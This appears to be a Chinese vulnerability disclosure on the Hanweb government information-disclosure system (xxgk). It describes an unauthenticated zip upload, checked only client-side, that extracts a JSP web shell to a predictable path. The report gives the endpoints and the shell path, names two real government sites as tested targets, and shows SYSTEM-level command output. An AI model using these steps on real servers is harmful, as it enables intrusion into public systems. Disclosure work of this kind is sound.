### 简要描述：
大汉版通系统再再次getshell之3，同样存在两处..
### 详细说明：
注：该系统为信息公开系统(xxgk)
#1 漏洞文件
```
/xxgk/m_5_e/module/opr_module.jsp?fn_billstatus=1
/xxgk/m_5_e/module/review/opr_review_template.jsp
```
由于第二个文件的上传比较有意思，我们选择其贴下关键的代码
```
//上传
if (strStatus.equals("S")) {
blf.doUpload(request);
out.println(Convert.getAlterScript("parent.location='./opr_review_template.jsp'"));
return;
}
```
这两个上传也仅在客户端进行验证
```
<script language="javascript">
<!--
function GetFileExtension(name)
{
var ext = name.substring(name.lastIndexOf(".") + 1, name.length);
return ext.toLowerCase();
}
function jsUpload()
{
var obj = document.uploadmodal.upfile;
var objImg = document.uploadmodal.upfile1;
if( obj.value == "" && objImg.value == "" ){
alert("请选择要上传的文件!");
obj.focus();
return false;
}
var ext = GetFileExtension( obj.value );
var extimg = GetFileExtension( objImg.value );
//...
if( extimg != "" && extimg != "zip" ){
alert("图片文件格式应该为：zip文件, 请重新选择!");
obj.focus();
return false;
}
var page = "./opr_review_template.jsp?status=S&modaltype=-1";
document.uploadmodal.action = page;
return true;
}
}
</script>
```
这里既然可以上传 zip 格式的文件，程序肯定会解压缩ZIP包，那么，假如我们在ZIP包里隐藏了我们想要上传的恶意文件，而恰巧程序解压后，并不会删除这些文件，那么不就直接getshell了吗?
#2 漏洞测试
有了这些想法，那么我们就来测试测试，程序的逻辑是不是真如我们想象的那样..
那么，我们首先将要上传的文件打包成zip，这里为shell.zip
[<img src="https://images.seebug.org/upload/201405/181522513abae821764f9cd0ea2d694f9df3699a.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/181522513abae821764f9cd0ea2d694f9df3699a.jpg)
由于这套系统网上的实例很多，随机选取两个进行测试..
测试一：
```
http://xxgk.lyg.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp
```
打开此页面后，直接上传我们的shell.zip，点击提交即可在服务器上解压并生成Customize.jsp
路径为：
```
/xxgk/jcms_files/jcms1/web0/site/zfxxgk/letterbox/template/-1/文件名
注：经过多个测试，一般情况都为此路径，极少部分 有可能会更改jcms1 web0后面的数字
```
连接shell,如图所示
[<img src="https://images.seebug.org/upload/201405/18153207cf16272d2ed48d2952b7b4c9e86be5af.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18153207cf16272d2ed48d2952b7b4c9e86be5af.jpg)
测试二：
```
http://xxgk.weifang.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp
```
同样直接上传我们的shell.zip,即可在上面的目录下生成：Customize.jsp
同样连接Customize.jsp,如图所示
[<img src="https://images.seebug.org/upload/201405/18153629774c860cbed2ca8f9e8c9231098b9ce4.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/18153629774c860cbed2ca8f9e8c9231098b9ce4.jpg)
### 漏洞证明：
#证明
```
http://xxgk.weifang.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp
C:\WINDOWS\system32\> whoami
nt authority\system
C:\WINDOWS\system32\> ipconfig
Windows IP Configuration
Ethernet adapter 本地连接 2:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.82.17.26
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.82.17.1
```
京公网安备 11010502034610号
暂无评论